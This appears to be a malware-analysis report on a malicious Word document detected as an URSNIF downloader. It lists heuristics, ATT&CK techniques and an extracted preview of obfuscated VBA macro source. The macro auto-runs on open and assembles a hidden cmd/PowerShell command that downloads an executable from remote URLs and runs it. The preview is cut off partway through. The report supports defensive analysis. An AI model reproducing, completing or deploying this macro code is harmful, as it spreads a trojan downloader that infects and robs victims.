MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute arbitrary commands. The ClamAV heuristic identifies the file as 'Doc.Downloader.URSNIF-6729855-3', suggesting it's a downloader. The VBA script appears to be obfuscated but its intent is to download and execute a second-stage payload.
Heuristics 5
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4692 bytes |
SHA-256: adea22668c7c18098949d3e65ec517663b6a1ef8c7cfca906a35f8f49d904fd9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "kjcuoNBLH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
VarType "wqD" + "333099841"
VarType "iBtoE" + "iR" + "8049" + "373"
VarType "iDiTEppIM" + "vfpY" + "6210" + "Hd"
VarType "463007528" + "jzuQ" + "150498972" + "6207"
VarType "hwECrp" + "mrqvNGjQnVNm"
VarType "mEB" + "wMUTwi" + "400644199" + "XN"
Shell iPoDjDNou + cOrlK, Format(vbHide)
VarType "3374" + "424716705"
VarType "ZBZ" + "1905"
VarType "6801" + "124305292"
VarType "8591" + "Z" + "dWTvMbqtTipq" + "XvEVjDvZGNl"
VarType "466097241" + "8169" + "cOwDQVziY" + "Hh"
End Sub
Attribute VB_Name = "uVoUtvGkk"
Function iPoDjDNou()
On _
Error _
Resume _
Next
VarType "3936" + "BmsFj"
VarType "bMpcZiZa" + "NEzb" + "IU" + "265213122"
VarType "qmGizzi" + "223543176" + "516027162" + "uFj"
okkuwov = Format(Chr(12 + 3 + 18 + 5 + 61)) + "md /V" + "/" + Format(Chr(8 + 2 + 12 + 3 + 42)) + Format(Chr(3 + 0 + 5 + 1 + 25)) + "s^e" + "^t ^dy" + "^J= ^" + " ^" + " ^ " + "^ ^ ^" + " ^" + "}^"
VarType "4203" + "C" + "jsk" + "801"
WTasXJSDPcF = "}{" + "h" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^" + "ta" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^};^" + "k^a^" + "er^b" + "^;Sj^" + "l$^ ^m^" + "e^t^I-^"
VarType "7865" + "sSvrQaRhAb" + "BO" + "YMNz"
VarType "RhiXrz" + "iVcU"
kOsOYbKUiMw = "ek^ovn" + "I^;" + ")^Sjl" + "$^" + " " + "^,^" + "wJF$(e" + "^l^i^F^" + "da^o" + "ln" + "w^" + "o^"
VarType "487345983" + "vkA" + "icBQFY" + "1"
VarType "VZA" + "Fhr" + "kDtz" + "9507"
VarType "388752353" + "1181"
VarType "SWHdEwbWtvRLta" + "329734313"
RoDDRS = "D" + "^.v" + "f^b" + "^${^y" + "rt{" + ")" + "^p" + "m^i^$" + "^ ni" + " w^J^" + "F$(^"
VarType "cbNjkQFFTbE" + "iYpca"
VarType "NB" + "9760" + "9903" + "87825058"
VarType "7980" + "qn"
KqicsK = "h" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^a^e" + "rof^;" + "'exe.^'" + "^" + "+^F" + "q^G$^" + "+"
VarType "KqvuzTfVR" + "TNiKBfn"
VarType "IlCjAhL" + "9441"
VarType "zGAZliX" + "8216" + "NZEl" + "482740859"
AkJjwjDpmBl = "^'\^'+" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "i" + "^l^b^u^" + "p:v" + "n^e^$^=" + "Sj^l^"
VarType "YUWc" + "427134668"
VarType "Yiuh" + "160749709"
VarType "7102" + "1064" + "ZaBB" + "407119683"
jDlbZCaRiB = "$^;'^8" + "66^' " + "= F^q" + "^G$;" + ")'@^'(" + "^ti" + "l^"
VarType "wMnCc" + "lSkGUEZ" + "dzO" + "w"
VarType "7910" + "WZJQJQZ"
VarType "2081" + "XsC"
VarType "465179744" + "WO" + "lQ" + "A"
tzSKXwAk = "p^S^." + "'nkt^" + "." + "3" + "agra^"
VarType "5974" + "fTuIbuFYUlX"
VarType "6348" + "oTs" + "oiR" + "Oh"
rWAbfPwuO = "t^=^l^" + "?^" + "ph" + "^p^" + ".to" + "^k^" + "sn^" + "a" + "^po/^T^" + "TR/^m^" + "o" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^.r" + "j"
VarType "z" + "RDTNUIuPLkiG"
VarType "9783" + "8578"
VarType "161785613" + "411107441" + "wQijzqIcFBA" + "403125096"
VarType "w" + "294157363"
GjlLViCH = "5^" + "om2" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^" + "s^e" + "^f"
VarType "7786" + "AsP" + "aRj" + "49912136"
VarType "iS" + "zdda"
VarType "who" + "3334"
JqUrOQ = "d" + "59^" + "t//^:" + "^p^t" + "^th^'" + "^=p^mi$" + ";tne^" + "il" + Format(Chr(8 + 2 + 12 + 3 + 42)) + "b" + "eW.teN" + " t" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "e^j"
VarType "Ewl" + "5391"
VarType "pwS" + "4705"
VarType "woUp" + "424571594" + "mHXoqQ" + "v"
VarType "9718" + "FEV" + "95971773" + "qdhJlI"
wDkCBzmTDLT = "b" + "o-^" + "w^en^=" + "v" + "f^b^$" + "^ lle^" + "h^s" + "rewo" + "p&&" + "for /^" + "L %^" + "q ^in " + "(^2^"
VarType "428568045" + "FBGbri"
VarType "173238303" + "418392456"
VarType "IH" + "457666333"
LblmiBnz = "65^,-^1" + ",^0)^d" + "^o ^s^" + "et xSo=" + "!xSo!!^" + "dy^J" + ":~" + "%^q"
iPoDjDNou = okkuwov + WTasXJSDPcF + kOsOYbKUiMw + RoDDRS + KqicsK + Ak
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.